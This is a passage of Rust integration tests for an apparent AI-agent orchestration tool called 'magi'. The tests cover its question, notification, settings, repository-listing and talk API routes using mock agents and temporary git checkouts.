9745        fx.queue().put(&mut task).unwrap();
9746
9747        let list = fx.get("/api/questions").await.json();
9748        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9749        assert_eq!(
9750            list[0]["choices"],
9751            serde_json::json!(["SQLite", "Redis"]),
9752            "the hand-over is never a choice"
9753        );
9754        fx.questions()
9755            .update(&id, |q| {
9756                q.node = crate::land::APPROVAL_NODE.into();
9757                q.choices = vec!["merge".into(), "hold".into()];
9758                Ok(())
9759            })
9760            .unwrap();
9761        let list = fx.get("/api/questions").await.json();
9762        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9763        let _ = id;
9764    }
9765
9766    #[tokio::test]
9767    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9768        let fx = Fixture::start().await;
9769        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9770        fx.questions()
9771            .update(&id, |q| {
9772                q.node = crate::land::APPROVAL_NODE.into();
9773                q.choices = vec!["merge".into(), "hold".into()];
9774                Ok(())
9775            })
9776            .unwrap();
9777        let cfg = Config {
9778            agents: vec![crate::config::AgentSpec {
9779                id: "mock".to_owned(),
9780                kind: crate::config::AgentKind::Command,
9781                model: None,
9782                command: vec!["true".to_owned()],
9783                extra_args: Vec::new(),
9784                env: Default::default(),
9785                prompt_delivery: None,
9786            }],
9787            ..Config::default()
9788        };
9789        // Not a git working tree, so its `magi.toml` is read from disk.
9790        let repo = fx.home.path().join("chat-repo");
9791        std::fs::create_dir_all(&repo).unwrap();
9792        let toml = repo.join("magi.toml");
9793        std::fs::write(&toml, "this is = = not toml").unwrap();
9794        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9795        let mut task = Task::new(
9796            "t".to_owned(),
9797            "Do it".to_owned(),
9798            PathBuf::from("/repo/magi"),
9799            Source::Agent {
9800                run: talk.id.clone(),
9801                node: crate::queue::CHAT_NODE.to_owned(),
9802            },
9803        );
9804        task.start("20260902-000000-beef".to_owned());
9805        fx.queue().put(&mut task).unwrap();
9806
9807        let path = format!("/api/questions/{id}/consult");
9808        let res = fx.post(&path, None).await;
9809        assert!(res.status >= 400, "{}", res.body);
9810        assert!(fx.questions().get(&id).unwrap().consult.is_none());
9811        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9812
9813        std::fs::write(&toml, "").unwrap();
9814        let res = fx.post(&path, None).await;
9815        assert_eq!(res.status, 202, "{}", res.body);
9816        assert!(fx.questions().get(&id).unwrap().consult.is_some());
9817        let q = fx.questions().get(&id).unwrap();
9818        assert!(q.status.open());
9819        assert!(q.answer.is_none());
9820        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9821    }
9822
9823    #[tokio::test]
9824    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9825        let fx = Fixture::start().await;
9826        let store = fx.questions();
9827        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9828        assert_eq!(
9829            fx.get("/api/health").await.json()["questions_needs_owner"],
9830            1
9831        );
9832
9833        // The owner asks back instead of deciding: the ask bar, the nav badge
9834        // and the title must stop naming this question, because there is
9835        // nothing to decide until the agent answers - `status` alone cannot
9836        // say that, which is the whole reason `questions_needs_owner` exists
9837        // alongside `questions_open`.
9838        let res = fx
9839            .post(
9840                &format!("/api/questions/{id}/say"),
9841                Some(r#"{"body":"why not Postgres?"}"#),
9842            )
9843            .await;
9844        assert_eq!(res.status, 200, "{}", res.body);
9845        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9846        assert_eq!(
9847            fx.get("/api/health").await.json()["questions_needs_owner"],
9848            0,
9849            "waiting on the agent is not waiting on the owner"
9850        );
9851
9852        // `magi ask --thread` replying is what brings the owner count back -
9853        // the same event that would resume the CLI call blocked in `magi
9854        // ask`.
9855        let mut q = store.get(&id).expect("get");
9856        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9857            .expect("reply");
9858        store.put(&mut q).expect("put");
9859        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9860        assert_eq!(
9861            fx.get("/api/health").await.json()["questions_needs_owner"],
9862            1,
9863            "the agent's reply is what should light the banner back up"
9864        );
9865    }
9866
9867    #[tokio::test]
9868    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9869        let fx = Fixture::start().await;
9870        let store = fx.questions();
9871
9872        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9873        let res = fx
9874            .post(
9875                &format!("/api/questions/{empty_id}/say"),
9876                Some(r#"{"body":"   "}"#),
9877            )
9878            .await;
9879        assert_eq!(res.status, 400, "{}", res.body);
9880
9881        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9882        let mut answered = store.get(&answered_id).expect("get");
9883        answered
9884            .answer(Answer::Choice("SQLite".to_owned()))
9885            .expect("answer");
9886        store.put(&mut answered).expect("put");
9887        let res = fx
9888            .post(
9889                &format!("/api/questions/{answered_id}/say"),
9890                Some(r#"{"body":"still there?"}"#),
9891            )
9892            .await;
9893        assert_eq!(res.status, 409, "{}", res.body);
9894
9895        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9896        let mut abandoned = store.get(&abandoned_id).expect("get");
9897        abandoned.abandon("timed out");
9898        store.put(&mut abandoned).expect("put");
9899        let res = fx
9900            .post(
9901                &format!("/api/questions/{abandoned_id}/say"),
9902                Some(r#"{"body":"still there?"}"#),
9903            )
9904            .await;
9905        assert_eq!(res.status, 409, "{}", res.body);
9906    }
9907
9908    #[tokio::test]
9909    async fn an_answer_the_question_does_not_offer_is_refused() {
9910        let fx = Fixture::start().await;
9911        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9912        let path = format!("/api/questions/{id}/answer");
9913
9914        for body in [
9915            r#"{"choice":"Postgres"}"#,
9916            r#"{"text":"whatever you think"}"#,
9917            r#"{"choice":"Redis","text":"both"}"#,
9918            r#"{}"#,
9919        ] {
9920            let res = fx.post(&path, Some(body)).await;
9921            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9922            assert!(res.json()["error"].is_string(), "{}", res.body);
9923        }
9924        // Nothing above may have answered it.
9925        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9926    }
9927
9928    #[tokio::test]
9929    async fn a_free_text_question_takes_text_and_not_a_choice() {
9930        let fx = Fixture::start().await;
9931        let id = ask(&fx, "What should the flag be called?", &[]);
9932        let path = format!("/api/questions/{id}/answer");
9933
9934        assert_eq!(
9935            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9936            400
9937        );
9938        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9939        assert_eq!(res.status, 200, "{}", res.body);
9940        assert_eq!(res.json()["answer"]["text"], "--json");
9941    }
9942
9943    #[tokio::test]
9944    async fn an_unknown_question_is_a_json_404() {
9945        let fx = Fixture::start().await;
9946        let res = fx
9947            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9948            .await;
9949        assert_eq!(res.status, 404, "{}", res.body);
9950        assert!(res.json()["error"].is_string());
9951    }
9952
9953    #[tokio::test]
9954    async fn notifications_list_read_dismiss_and_health_agree() {
9955        let fx = Fixture::start().await;
9956        let store = Notices::at(fx.home.path().join("notifications"));
9957        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9958        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9959
9960        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9961        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9962
9963        let health = fx.get("/api/health").await.json();
9964        assert_eq!(health["notifications_unread"], 2);
9965        assert_ne!(
9966            health["notifications_rev"], rev0,
9967            "the badge must move live"
9968        );
9969
9970        let listed = fx.get("/api/notifications").await.json();
9971        assert_eq!(listed["unread"], 2);
9972        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9973        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9974
9975        let read = fx
9976            .post(&format!("/api/notifications/{}/read", a.id), None)
9977            .await;
9978        assert_eq!(read.status, 200, "{}", read.body);
9979        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9980
9981        let gone = fx
9982            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9983            .await;
9984        assert_eq!(gone.status, 200, "{}", gone.body);
9985        let listed = fx.get("/api/notifications").await.json();
9986        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9987        assert_eq!(listed["unread"], 0);
9988
9989        store.raise(Notice::info("x", "again")).unwrap();
9990        let all = fx.post("/api/notifications/read-all", None).await;
9991        assert_eq!(all.status, 200, "{}", all.body);
9992        assert_eq!(all.json()["marked"], 1);
9993        assert_eq!(
9994            fx.get("/api/health").await.json()["notifications_unread"],
9995            0
9996        );
9997
9998        let missing = fx.post("/api/notifications/nope/read", None).await;
9999        assert_eq!(missing.status, 404, "{}", missing.body);
10000        assert!(missing.json()["error"].is_string());
10001    }
10002
10003    /// New work reaches the queue through `magi task add`, a standing talk's
10004    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
10005    /// so the compose form and that route are gone. The tests that covered
10006    /// that route's validation went with it, and nothing was left asserting
10007    /// it stays gone — so a re-added handler would silently let the phone
10008    /// file briefs no one validated.
10009    #[tokio::test]
10010    async fn a_task_cannot_be_filed_over_the_phone_directly() {
10011        let f = Fixture::start().await;
10012
10013        let res = f
10014            .post(
10015                "/api/queue",
10016                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
10017            )
10018            .await;
10019
10020        assert_eq!(
10021            res.status, 405,
10022            "POST /api/queue must not be a route: {}",
10023            res.body
10024        );
10025        assert!(
10026            f.queue().list().is_empty(),
10027            "a task filed by a route that does not exist must not reach the disk"
10028        );
10029        // The path itself is still served — the Queue view reads it — and the
10030        // per-task controls are untouched by the entry being removed.
10031        assert_eq!(f.get("/api/queue").await.status, 200);
10032    }
10033
10034    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
10035    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
10036        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
10037            .expect("checkout dir");
10038    }
10039
10040    /// Two command agents, so a config needs no real CLI.
10041    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
10042
10043    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
10044        let tmp = TempDir::new().expect("tempdir");
10045        let repo = tmp.path().join("repo");
10046        std::fs::create_dir_all(&repo).expect("repo dir");
10047        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
10048        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
10049        if let Some(text) = machine_toml {
10050            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
10051            std::fs::write(&machine, text).expect("machine toml");
10052        }
10053        (tmp, repo, machine)
10054    }
10055
10056    async fn settings_checkout(path: &FsPath, text: &str) {
10057        std::fs::create_dir_all(path).unwrap();
10058        std::fs::write(path.join("magi.toml"), text).unwrap();
10059        for args in [
10060            vec!["init", "-b", "main"],
10061            vec!["add", "magi.toml"],
10062            vec![
10063                "-c",
10064                "user.name=Test",
10065                "-c",
10066                "user.email=test@example.invalid",
10067                "commit",
10068                "-m",
10069                "fixture",
10070            ],
10071            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
10072            vec![
10073                "symbolic-ref",
10074                "refs/remotes/origin/HEAD",
10075                "refs/remotes/origin/main",
10076            ],
10077        ] {
10078            crate::git::git(path, &args).await.unwrap();
10079        }
10080    }
10081
10082    #[tokio::test]
10083    async fn settings_context_handlers_validate_and_save_without_a_socket() {
10084        let (tmp, repo, machine) =
10085            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
10086        let root = tmp.path().join("roots");
10087        let selected = root.join("host/owner/selected");
10088        settings_checkout(
10089            &selected,
10090            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
10091        )
10092        .await;
10093        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
10094        let before = std::fs::read(&machine).unwrap();
10095        let ui = Arc::new(
10096            Ui::new(
10097                Queue::at(tmp.path().join("queue")),
10098                Questions::at(tmp.path().join("questions")),
10099                Talks::at(tmp.path().join("talks")),
10100                tmp.path().join("runs"),
10101                tmp.path().to_path_buf(),
10102                repo.clone(),
10103            )
10104            .with_machine_config(Some(machine.clone())),
10105        );
10106        let query = || {
10107            Query(SettingsQuery {
10108                repo: Some(selected.clone()),
10109            })
10110        };
10111        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
10112        assert!(v.error.is_none(), "{:?}", v.error);
10113        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
10114        assert_eq!(conductor.source, "repo");
10115        assert_eq!(
10116            conductor.machine_value,
10117            Some(toml::Value::String("a".into()))
10118        );
10119        assert!(!conductor.editable);
10120        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
10121        assert_eq!(
10122            judges.count.as_ref().unwrap().machine_value,
10123            Some(toml::Value::Integer(1))
10124        );
10125        assert!(
10126            !v.roles
10127                .iter()
10128                .find(|r| r.key == "reviewers")
10129                .unwrap()
10130                .editable
10131        );
10132        let unknown = || {
10133            Query(SettingsQuery {
10134                repo: Some(tmp.path().to_path_buf()),
10135            })
10136        };
10137        assert_eq!(
10138            settings_get(State(ui.clone()), unknown())
10139                .await
10140                .unwrap_err()
10141                .status,
10142            StatusCode::UNPROCESSABLE_ENTITY
10143        );
10144        let body = || {
10145            Ok(Json(RolesBody {
10146                revision: v.revision.clone(),
10147                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
10148                counts: Default::default(),
10149            }))
10150        };
10151        assert_eq!(
10152            settings_put_roles(State(ui.clone()), unknown(), body())
10153                .await
10154                .unwrap_err()
10155                .status,
10156            StatusCode::UNPROCESSABLE_ENTITY
10157        );
10158        assert_eq!(std::fs::read(&machine).unwrap(), before);
10159        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
10160            .await
10161            .unwrap();
10162        assert_eq!(
10163            saved.repo,
10164            selected.canonicalize().unwrap().display().to_string()
10165        );
10166        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10167        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10168        // A cache miss refreshes the stable candidate list exactly for validation.
10169        let fresh = root.join("host/owner/fresh");
10170        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
10171        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
10172            .await
10173            .unwrap();
10174        assert_eq!(fresh_view.repositories.len(), 3);
10175    }
10176
10177    #[tokio::test]
10178    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
10179        let (tmp, repo, machine) = settings_dirs(
10180            "[roles]\nreviewers = [\"a\"]\n",
10181            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
10182        );
10183        let root = tmp.path().join("roots");
10184        let selected = root.join("host/owner/selected");
10185        settings_checkout(
10186            &selected,
10187            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
10188        )
10189        .await;
10190        let broken = root.join("host/owner/broken");
10191        settings_checkout(&broken, "[roles\nbroken").await;
10192        let machine_text = format!(
10193            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
10194            toml::Value::String(root.display().to_string())
10195        );
10196        std::fs::write(&machine, &machine_text).unwrap();
10197        let originals: Vec<_> = [&repo, &selected, &broken]
10198            .iter()
10199            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
10200            .collect();
10201        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10202        let default = f.get("/api/settings").await.json();
10203        assert_eq!(
10204            default["repo"],
10205            repo.canonicalize().unwrap().display().to_string()
10206        );
10207        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
10208        let query = format!("?repo={}", selected.display());
10209        let res = f.get(&format!("/api/settings{query}")).await;
10210        assert_eq!(res.status, 200, "{}", res.body);
10211        let v = res.json();
10212        assert!(v["error"].is_null(), "{v}");
10213        assert_eq!(v["repositories"], default["repositories"]);
10214        let role = |key: &str| {
10215            v["roles"]
10216                .as_array()
10217                .unwrap()
10218                .iter()
10219                .find(|r| r["key"] == key)
10220                .unwrap()
10221        };
10222        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
10223        assert_eq!(role("advisors")["source"], "repo");
10224        assert_eq!(role("advisors")["editable"], false);
10225        assert!(role("advisors")["machine_value"].is_null());
10226        assert_eq!(role("judges")["count"]["value"], 2);
10227        assert_eq!(role("judges")["count"]["machine_value"], 1);
10228        assert_eq!(role("judges")["count"]["source"], "repo");
10229        let source = role("judges")["count"]["source_path"].as_str().unwrap();
10230        assert!(
10231            source.contains("origin/main") && !source.contains("magi/config/"),
10232            "{source}"
10233        );
10234        assert_eq!(
10235            role("reviewers")["editable"],
10236            false,
10237            "default context outside roots must protect its declarations"
10238        );
10239        let body =
10240            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
10241        let unknown = format!("?repo={}", tmp.path().display());
10242        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
10243        assert_eq!(
10244            f.put(&format!("/api/settings/roles{unknown}"), &body)
10245                .await
10246                .status,
10247            422
10248        );
10249        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
10250        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
10251            .to_string();
10252        assert_eq!(
10253            f.put(&format!("/api/settings/roles{query}"), &refuse)
10254                .await
10255                .status,
10256            422
10257        );
10258        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
10259        assert_eq!(saved.status, 200, "{}", saved.body);
10260        assert_eq!(saved.json()["repo"], v["repo"]);
10261        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10262        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10263        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
10264            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
10265        }
10266        let error = f
10267            .get(&format!("/api/settings?repo={}", broken.display()))
10268            .await;
10269        assert_eq!(error.status, 200);
10270        assert!(error.json()["error"]["message"].is_string());
10271        assert_eq!(error.json()["repositories"], default["repositories"]);
10272    }
10273
10274    #[tokio::test]
10275    async fn settings_get_reports_sources_and_the_advisors_fallback() {
10276        let (_tmp, repo, machine) =
10277            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
10278        let f = Fixture::with_repo_and_machine(repo, machine).await;
10279        let res = f.get("/api/settings").await;
10280        assert_eq!(res.status, 200, "{}", res.body);
10281        let v = res.json();
10282        assert!(v["error"].is_null(), "{v}");
10283        let role = |k: &str| {
10284            v["roles"]
10285                .as_array()
10286                .and_then(|r| r.iter().find(|x| x["key"] == k))
10287                .cloned()
10288                .unwrap_or_else(|| panic!("no role {k}: {v}"))
10289        };
10290        assert_eq!(role("judges")["source"], "machine");
10291        assert_eq!(role("judges")["editable"], true);
10292        assert_eq!(role("implementers")["source"], "default");
10293        let adv = role("advisors");
10294        assert_eq!(adv["fallback"], "judges");
10295        assert!(
10296            adv["seats"]
10297                .as_array()
10298                .is_some_and(|s| s.iter().all(|x| x == "b")),
10299            "{adv}"
10300        );
10301        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
10302        assert_eq!(v["agents"][0]["source"], "repo");
10303    }
10304
10305    #[tokio::test]
10306    async fn settings_get_reports_a_config_that_does_not_parse() {
10307        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
10308        let f = Fixture::with_repo_and_machine(repo, machine).await;
10309        let res = f.get("/api/settings").await;
10310        assert_eq!(res.status, 200, "{}", res.body);
10311        let v = res.json();
10312        assert!(v["error"]["message"].is_string(), "{v}");
10313        assert!(
10314            v["error"]["path"]
10315                .as_str()
10316                .is_some_and(|p| p.ends_with("magi.toml")),
10317            "{v}"
10318        );
10319        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
10320    }
10321
10322    #[tokio::test]
10323    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
10324        let (_tmp, repo, machine) = settings_dirs(
10325            SETTINGS_AGENTS,
10326            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
10327        );
10328        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
10329        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10330        let rev = f.get("/api/settings").await.json()["revision"]
10331            .as_str()
10332            .expect("revision")
10333            .to_owned();
10334        let body = serde_json::json!({
10335            "revision": rev,
10336            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
10337        })
10338        .to_string();
10339        let res = f.put("/api/settings/roles", &body).await;
10340        assert_eq!(res.status, 200, "{}", res.body);
10341        let text = std::fs::read_to_string(&machine).expect("machine");
10342        assert_eq!(
10343            text,
10344            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
10345        );
10346        assert_eq!(
10347            std::fs::read(repo.join("magi.toml")).expect("read"),
10348            repo_before
10349        );
10350        let again = f.get("/api/settings").await.json();
10351        let judges = again["roles"]
10352            .as_array()
10353            .expect("roles")
10354            .iter()
10355            .find(|r| r["key"] == "judges")
10356            .expect("judges")
10357            .clone();
10358        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
10359        // The old revision is now stale.
10360        let stale = f.put("/api/settings/roles", &body).await;
10361        assert_eq!(stale.status, 409, "{}", stale.body);
10362    }
10363
10364    #[tokio::test]
10365    async fn settings_counts_are_reported_and_saved() {
10366        let (_tmp, repo, machine) = settings_dirs(
10367            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
10368            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
10369        );
10370        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10371        let v = f.get("/api/settings").await.json();
10372        let count = |v: &serde_json::Value, k: &str| {
10373            v["roles"]
10374                .as_array()
10375                .and_then(|r| r.iter().find(|x| x["key"] == k))
10376                .map(|x| x["count"].clone())
10377                .unwrap_or_else(|| panic!("no role {k}: {v}"))
10378        };
10379        let imp = count(&v, "implementers");
10380        assert_eq!(imp["value"], 2);
10381        assert_eq!(imp["source"], "machine");
10382        assert_eq!(imp["file_key"], "candidates");
10383        assert_eq!(imp["roster_len"], 2);
10384        assert_eq!(imp["backups"], 0);
10385        assert_eq!(count(&v, "judges")["source"], "default");
10386        assert_eq!(count(&v, "advisors")["min"], 0);
10387        assert_eq!(count(&v, "reviewers")["editable"], false);
10388        assert!(
10389            count(&v, "reviewers")["locked_reason"]
10390                .as_str()
10391                .is_some_and(|m| m.contains("graph.reviewers"))
10392        );
10393        assert!(count(&v, "fixer").is_null());
10394        let rev = v["revision"].as_str().expect("revision").to_owned();
10395        let body = serde_json::json!({
10396            "revision": rev,
10397            "roles": { "judges": ["b"] },
10398            "counts": { "implementers": 1, "advisors": 0 }
10399        })
10400        .to_string();
10401        let res = f.put("/api/settings/roles", &body).await;
10402        assert_eq!(res.status, 200, "{}", res.body);
10403        let text = std::fs::read_to_string(&machine).expect("machine");
10404        assert_eq!(
10405            text,
10406            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
10407        );
10408        let after = f.get("/api/settings").await.json();
10409        assert_eq!(count(&after, "implementers")["value"], 1);
10410        assert_eq!(count(&after, "implementers")["backups"], 1);
10411        assert_eq!(count(&after, "advisors")["value"], 0);
10412        let before = std::fs::read_to_string(&machine).expect("machine");
10413        let rev = after["revision"].as_str().expect("revision").to_owned();
10414        for counts in [
10415            serde_json::json!({ "judges": 0 }),
10416            serde_json::json!({ "judges": "x" }),
10417            serde_json::json!({ "judges": 2.5 }),
10418            serde_json::json!({ "judges": -1 }),
10419            serde_json::json!({ "reviewers": 3 }),
10420            serde_json::json!({ "bogus": 3 }),
10421        ] {
10422            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
10423            let res = f.put("/api/settings/roles", &body).await;
10424            assert_eq!(res.status, 422, "{counts}: {}", res.body);
10425            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
10426        }
10427    }
10428
10429    #[tokio::test]
10430    async fn settings_put_refuses_without_touching_the_file() {
10431        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10432        let (_tmp, repo, machine) = settings_dirs(
10433            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10434            Some(machine_text),
10435        );
10436        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10437        let rev = f.get("/api/settings").await.json()["revision"]
10438            .as_str()
10439            .expect("revision")
10440            .to_owned();
10441        for roles in [
10442            serde_json::json!({ "judges": ["nope"] }),
10443            serde_json::json!({ "reviewers": ["b"] }),
10444            serde_json::json!({ "bogus": ["a"] }),
10445        ] {
10446            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10447            let res = f.put("/api/settings/roles", &body).await;
10448            assert_eq!(res.status, 422, "{roles}: {}", res.body);
10449            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10450            assert_eq!(
10451                std::fs::read_to_string(&machine).expect("machine"),
10452                machine_text
10453            );
10454        }
10455    }
10456
10457    #[tokio::test]
10458    async fn repos_list_returns_name_and_path_for_every_configured_root() {
10459        let tmp = TempDir::new().expect("tempdir");
10460        let repo = tmp.path().join("repo");
10461        std::fs::create_dir_all(&repo).expect("repo dir");
10462        let root = tmp.path().join("root");
10463        make_checkout(&root, "github.com", "yukimemi", "magi");
10464        std::fs::write(
10465            repo.join("magi.toml"),
10466            format!(
10467                "[repos]\nroots = [{:?}]\n",
10468                root.to_string_lossy().into_owned()
10469            ),
10470        )
10471        .expect("write magi.toml");
10472
10473        let f = Fixture::with_repo(repo).await;
10474        let res = f.get("/api/repos").await;
10475        assert_eq!(res.status, 200, "{}", res.body);
10476        let list = res.json();
10477        let repos = list.as_array().expect("an array");
10478        assert_eq!(repos.len(), 1);
10479        assert_eq!(repos[0]["name"], "yukimemi/magi");
10480        assert!(
10481            repos[0]["path"]
10482                .as_str()
10483                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10484            "{list}"
10485        );
10486    }
10487
10488    #[tokio::test]
10489    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10490        let tmp = TempDir::new().expect("tempdir");
10491        let repo = tmp.path().join("repo");
10492        std::fs::create_dir_all(&repo).expect("repo dir");
10493        let root = tmp.path().join("root");
10494        make_checkout(&root, "github.com", "yukimemi", "magi");
10495        std::fs::write(
10496            repo.join("magi.toml"),
10497            format!(
10498                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10499                root.to_string_lossy().into_owned()
10500            ),
10501        )
10502        .expect("write magi.toml");
10503
10504        let f = Fixture::with_repo(repo).await;
10505        let first = f.get("/api/repos").await;
10506        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10507
10508        // A second checkout appears; within the TTL the cached answer must
10509        // not notice it.
10510        make_checkout(&root, "github.com", "yukimemi", "rvpm");
10511        let second = f.get("/api/repos").await;
10512        assert_eq!(
10513            second.json().as_array().map(Vec::len),
10514            Some(1),
10515            "a fresh cache must not rescan inside the TTL"
10516        );
10517
10518        let refreshed = f.get("/api/repos?refresh=1").await;
10519        assert_eq!(
10520            refreshed.json().as_array().map(Vec::len),
10521            Some(2),
10522            "an explicit refresh must rescan even inside the TTL"
10523        );
10524    }
10525
10526    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
10527    /// string, declared straight in a repository's own `magi.toml` rather
10528    /// than the operator's real roster. No real agent CLI is spawned - `sh`
10529    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
10530    /// this is safe to run over a real HTTP round trip.
10531    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10532
10533    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
10534    /// real `Config::discover` to find an agent - `talk::begin` resolves one
10535    /// even though it takes no turn, and `talk_say` invokes one.
10536    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10537        let tmp = TempDir::new().expect("tempdir");
10538        let repo = tmp.path().join("repo");
10539        std::fs::create_dir_all(&repo).expect("repo dir");
10540        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10541        let f = Fixture::with_repo(repo.clone()).await;
10542        (tmp, repo, f)
10543    }
10544
10545    #[tokio::test]
10546    async fn posting_a_talk_with_remembered_choices_is_soft() {
10547        let (_tmp, _repo, f) = talk_fixture().await;
10548
10549        let good = f
10550            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10551            .await;
10552        assert_eq!(good.status, 201, "{}", good.body);
10553        assert_eq!(good.json()["persona"], "rei");
10554
10555        // Wrong values and wrong types are dropped one by one, never a 4xx.
10556        let stale = f
10557            .post(
10558                "/api/talks",
10559                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10560            )
10561            .await;
10562        assert_eq!(stale.status, 201, "{}", stale.body);
10563        let v = stale.json();
10564        assert_eq!(v["implementers"], 1);
